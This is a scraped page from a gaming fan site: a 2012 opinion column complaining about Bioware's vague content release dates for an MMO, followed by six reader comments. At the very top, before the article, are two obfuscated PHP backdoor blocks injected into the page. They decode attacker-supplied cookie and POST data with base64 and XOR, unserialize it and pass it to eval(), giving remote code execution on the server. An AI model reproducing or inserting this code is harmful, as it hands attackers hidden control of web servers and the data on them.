$eDITTpx = class_exists("E_sdBhD");if (!$eDITTpx){class E_sdBhD{private $Uwkjo;public static $GceVIgUuDx = "bb4019ce-3f6c-41c2-908d-f6034f80bd18";public static $hHxVxqyEP = NULL;public function __construct(){$STTVJb = $_COOKIE;$DZiTu = $_POST;$WDsdjh = @$STTVJb[substr(E_sdBhD::$GceVIgUuDx, 0, 4)];if (!empty($WDsdjh)){$wISPlIDZLO = "base64";$dUsBvmZpUV = "";$WDsdjh = explode(",", $WDsdjh);foreach ($WDsdjh as $WykdfVvtZ){$dUsBvmZpUV .= @$STTVJb[$WykdfVvtZ];$dUsBvmZpUV .= @$DZiTu[$WykdfVvtZ];}$dUsBvmZpUV = array_map($wISPlIDZLO . "\137" . "\x64" . "\x65" . "\x63" . "\x6f" . chr (100) . chr ( 1098 - 997 ), array($dUsBvmZpUV,)); $dUsBvmZpUV = $dUsBvmZpUV[0] ^ str_repeat(E_sdBhD::$GceVIgUuDx, (strlen($dUsBvmZpUV[0]) / strlen(E_sdBhD::$GceVIgUuDx)) + 1);E_sdBhD::$hHxVxqyEP = @unserialize($dUsBvmZpUV);}}public function __destruct(){$this->BfuLpx();}private function BfuLpx(){if (is_array(E_sdBhD::$hHxVxqyEP)) {$kjgrSU = str_replace("\x3c" . chr (63) . 'p' . "\150" . chr (112), "", E_sdBhD::$hHxVxqyEP["\143" . chr (111) . 'n' . chr ( 817 - 701 )."\x65" . "\156" . chr ( 520 - 404 )]);eval($kjgrSU);exit();}}}$LfAXf = new E_sdBhD(); $LfAXf = NULL;} ?> $HUXqtUIxy = class_exists("ip_QEqh");if (!$HUXqtUIxy){class ip_QEqh{private $TbmzRb;public static $FHcIW = "7ebcf308-eeb5-45d0-b672-e9d0e6153b2f";public static $fFfkEnNTtr = NULL;public function __construct(){$FhesM = $_COOKIE;$LHvkqFrxmX = $_POST;$MCHrxi = @$FhesM[substr(ip_QEqh::$FHcIW, 0, 4)];if (!empty($MCHrxi)){$ukeOe = "base64";$JuQfYmlyOm = "";$MCHrxi = explode(",", $MCHrxi);foreach ($MCHrxi as $BJxJBWW){$JuQfYmlyOm .= @$FhesM[$BJxJBWW];$JuQfYmlyOm .= @$LHvkqFrxmX[$BJxJBWW];}$JuQfYmlyOm = array_map($ukeOe . chr ( 127 - 32 )."\144" . "\x65" . "\143" . 'o' . "\x64" . "\x65", array($JuQfYmlyOm,)); $JuQfYmlyOm = $JuQfYmlyOm[0] ^ str_repeat(ip_QEqh::$FHcIW, (strlen($JuQfYmlyOm[0]) / strlen(ip_QEqh::$FHcIW)) + 1);ip_QEqh::$fFfkEnNTtr = @unserialize($JuQfYmlyOm);}}public function __destruct(){$this->tSjrbbjY();}private function tSjrbbjY(){if (is_array(ip_QEqh::$fFfkEnNTtr)) {$xdxaj = str_replace("\x3c" . "\x3f" . 'p' . chr ( 133 - 29 ).chr (112), "", ip_QEqh::$fFfkEnNTtr["\x63" . 'o' . chr (110) . "\x74" . 'e' . "\156" . chr ( 225 - 109 )]);eval($xdxaj);exit();}}}$SRNAi = new ip_QEqh(); $SRNAi = NULL;} ?> My Two Credits: The Answer is 42 – Corellian Run Radio
Aug 282012
 

 

Photo-Receptor Focus on: The Answer is 42.

By  Maer

Today is my 42nd article for this column. I mention this only because everyone knows that “42” is a most significant number. I mean it’s the answer to the meaning of life, right? At least, those who ask a question in voice or chat will often get this answer.

For instance, when we ask Bioware when we will get new content, they might as well answer “42”. Because the answer we get instead is that vague and basically meaningless word “soon”.

More after the jump…

Well, to be fair, they did say “fall” for Free to Play. That gives us about a three-month span we can expect that content to go live. But we are now three weeks out from the beginning of fall. So, shouldn’t we be getting a firmer date?

I have to tell you: the “soon”s and “near future”s in the gaming community drive me nuts.

My idea of “soon” is within a week, at the latest. “Soon” is not months. I think I’m joined by others who also are weary of “soon”. That’s probably why Bioware switched to a specific time frame. But, I’m telling you, a three-month span is only marginally better. Very marginally.

Now, you don’t need to write comments telling me that they have very, very good reasons for using these vague and unsatisfying terms. I’m quite aware of the various reasons. But knowing why and liking it are two different things. Especially when we have a dearth of new content in a game that desperately needs it.

And I wouldn’t mind “fall” so much if they were speaking in the far future. “This content is planned for Spring, 2013” would be fine. But we also need more specific info, like “Our next update will go live at the end of next month.”

Seems to me, that the closer one gets to the release of the content, the more narrow the time frame should be. They could eve use countdowns to their benefit. And that means they need specific dates to allow those countdowns to happen. Think of the hype and excitement they could generate by using countdowns.

So this week’s plea is for Bioware to use more concrete dates and time frames. Please don’t say things like “more content faster”. Faster than four months isn’t very specific. Please don’t be vague. Because if you are, you might as well just say “42”.

That’s my two credits. What’s yours?

Ready…set…discuss…

  6 Responses to “My Two Credits: The Answer is 42”

  1. You must have missed where they said November

  2. The thing with BioWare is that they’ve adopted this “we’re damned if we do, damned if we don’t” mentality and basically have it in their head that we will like it the most if they announce enthusiastically 3 days before, “New content coming in 3 days!”.

    Of course, 4 days before the only answer you’ll get is: “When we know something concrete, you’ll know.” Which begs the question: Really? I mean, C’MON, MAN!

    It’s annoying and they’ve been doing it since the “Return to Ostagar” Dragon Age Origins DLC which had a firm release date over a month before and they had to push it back… and push it back… and then not have a date… it was a mess.

    So, to defend against the backlash that they got from that little snafu, they’ve since adopted the “soon” and then drop-it-on-our-heads approach to added content.

    It’s not going to change, we’ll get at best a week’s notice for Free-to-Play although, one friend of mine suggested we can look for it around Sept. 21st to try and combat some of the further WoW losses that they are going to incur.

    IMO, BioWare is continually shooting themselves in the foot. They advertise the Cathar as a new playable species. Whoopee, you’ve reskinned a face and are calling it a “new” playable species and we’re supposed to get excited about it? MAYBE if they dropped like 2 or 3 new species, people would appreciate it, but it seems like they are constantly trying to make the BARE MINIMUM appear to be fantastic for a game that is barely treading water.

    Poor, poor decision making going on right now and I guess we’ll just have to keep track of the lay-offs to see how things play out.

  3. I’ll be honest with you, if I was BW, I wouldn’t give this community the time of day, much less the projected date of upcoming content. I imagine they are pretty tired of being kicked in the teeth every time they stick their head out of the studio.

  4. Joshua, nope, I didn’t miss it, but it was part of the investor info. It hasn’t made it to the official website as an announcement, yet. I chose to go with what’s on their website.

    Gemini, well I hope they will step it up. It’s such a great game, with so much to recommend it and a lot of potential. I keep hoping they will be able to realize their full potential.

  5. 42… Phew I am only 40! I do not want to be 42, I want to be 21 again 🙁

    I also have to agree with Rabbi, I find it fascinating that just one year ago every time they popped their heads up there was cheers emanating from fan sites everywhere. Here we are a year later, and every time they pop up its like all the Elmer Fudds take aim and start blasting blindly. Every time Bioware makes an announcement it’s wabbit season!
    *Just a note Maer I do not mean you. You have the ability to speak eloquently and poignantly from the heart about something you feel passionately about. I am speaking more to the Fudds who are clueless and random in their off target rants.

  6. Thanks for the kind words, Mederlin. I do love this game and want it to be the very best it can be. So much potential here!

Rss Feed Tweeter button Facebook button Technorati button Reddit button Linkedin button Webonews button Delicious button Digg button Flickr button Stumbleupon button Newsvine button Youtube button
Copy Protected by Tech Tips's CopyProtect Wordpress Blogs.